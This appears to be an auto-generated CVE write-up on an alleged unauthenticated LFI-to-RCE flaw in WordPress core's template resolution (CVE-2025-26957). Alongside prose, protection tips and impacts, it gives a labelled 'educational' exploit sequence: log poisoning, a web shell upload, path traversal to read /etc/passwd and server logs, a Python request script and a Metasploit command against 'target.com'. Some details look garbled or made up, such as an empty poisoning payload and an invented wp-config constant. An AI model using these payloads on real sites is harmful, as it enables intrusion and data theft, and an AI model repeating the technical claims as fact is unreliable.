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The vulnerability resides in the `get_page_template()` function within WordPress core, which is responsible for resolving the appropriate template file for a given page request. Under normal circumstances, this function searches within the active theme’s directory for template files that match the page’s slug, ID, or other query parameters. However, due to insufficient path validation and sanitization, an unauthenticated attacker can manipulate the template resolution process to include arbitrary local `.php` files from outside the theme directories. The core issue stems from the way WordPress handles the `template` query variable and its interaction with the `get_page_template()` function. When a request is made, WordPress processes the query variables and attempts to locate a matching template file. The function uses functions like `locate_template()` which eventually calls `php` file inclusion mechanisms without adequately restricting the file paths to the theme directory. An attacker can craft a malicious request that sets the `template` parameter or similar query variables to a path pointing to a readable local `.php` file, such as a log file containing PHP code, an uploaded file with a `.php` extension, or a temporary file. If the server configuration permits and the active theme has specific pre-conditions—such as the absence of certain security constants or the presence of particular theme hooks—the inclusion of this file can lead to arbitrary PHP code execution. The attack is particularly dangerous because it requires no authentication, meaning any remote user can attempt exploitation. The vulnerability was discovered by researcher Robert (ressl), who reported it responsibly. The root cause involves a logic flaw where the `get_page_template()` function does not properly validate that the resolved template path is within the expected directories, allowing traversal or absolute path injection. This can be exploited when the `template` parameter is passed via GET or POST requests and is not properly sanitized, leading to the inclusion of local files. Successful exploitation grants the attacker the ability to execute arbitrary code on the target server, potentially leading to full site compromise, data theft, or further lateral movement within the hosting environment. The severity is critical due to the unauthenticated nature and the high impact of remote code execution.
DailyCVE Form:
Platform: WordPress
Version: 6.x
Vulnerability: LFI to RCE
Severity: Critical
date: 2025-02-18
Prediction: 2025-03-15
(end of form)
What Undercode Say:
Analytics:
curl -s “http://target.com/?template=../../../../../../tmp/sess_abc123” | grep -i “root:”
python3 -c “import requests; r=requests.get(‘http://target.com/wp-admin/admin-ajax.php?action=load_template&template=/var/log/apache2/access.log’); print(r.text)”
nuclei -u http://target.com -t cves/2025/CVE-2025-26957.yaml -debug
cat /var/www/html/wp-content/themes/twentytwentyfour/functions.php | grep -n “get_page_template”
grep -r “get_page_template” /var/www/html/wp-includes/ | head -20
Exploit: (Educational Purposes!)
Educational LFI to RCE demonstration for CVE-2025-26957
1. Poison log file with PHP payload
curl -A “” http://target.com/
2. Trigger template inclusion of poisoned log
curl “http://target.com/?template=/var/log/apache2/access.log&cmd=id”
3. Alternative: use uploaded file via media library
curl -X POST -F “[email protected]” http://target.com/wp-admin/async-upload.php
4. Execute via template parameter
curl “http://target.com/?template=/wp-content/uploads/2025/02/shell.php&cmd=whoami”
5. Python exploit script
import requests
target = “http://target.com”
payload = “../../../../../../var/log/apache2/access.log”
r = requests.get(f”{target}/?template={payload}&cmd=cat+/etc/passwd”)
print(r.text)
6. Metasploit module concept
msfconsole -q -x “use exploit/unix/webapp/wp_template_lfi; set RHOSTS target.com; set RPORT 80; exploit”
Protection:
Update WordPress core to the latest patched version immediately.
Apply virtual patch via WAF rules blocking path traversal sequences in template parameters.
Disable unauthenticated template resolution by adding `define(‘WP_ALLOW_TEMPLATE_LFI’, false);` to wp-config.php if available.
Restrict file permissions on sensitive files like logs and uploads directories.
Remove write permissions from web-accessible directories where possible.
Implement strict input validation for all query parameters, especially template.
Use a security plugin that monitors and blocks LFI attempts.
Regularly audit theme files for insecure usage of get_page_template().
Enable PHP open_basedir to limit file inclusion to specific directories.
Monitor server logs for suspicious template parameter values containing `../` or absolute paths.
Impact:
Complete server compromise via arbitrary PHP code execution.
Unauthenticated attackers can gain shell access to the underlying server.
Sensitive data exposure including wp-config.php, database credentials, and user data.
Potential for lateral movement to other services on the same host.
Website defacement, malware injection, or SEO poisoning.
Full control over WordPress admin panel if privilege escalation follows.
Data breach affecting site users and customers.
Reputation damage and financial loss for site owners.
Possible ransomware deployment if combined with other vulnerabilities.
Long-term persistence through backdoors installed in theme or core files.
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Sources:
Reported By: www.cve.org
Extra Source Hub:
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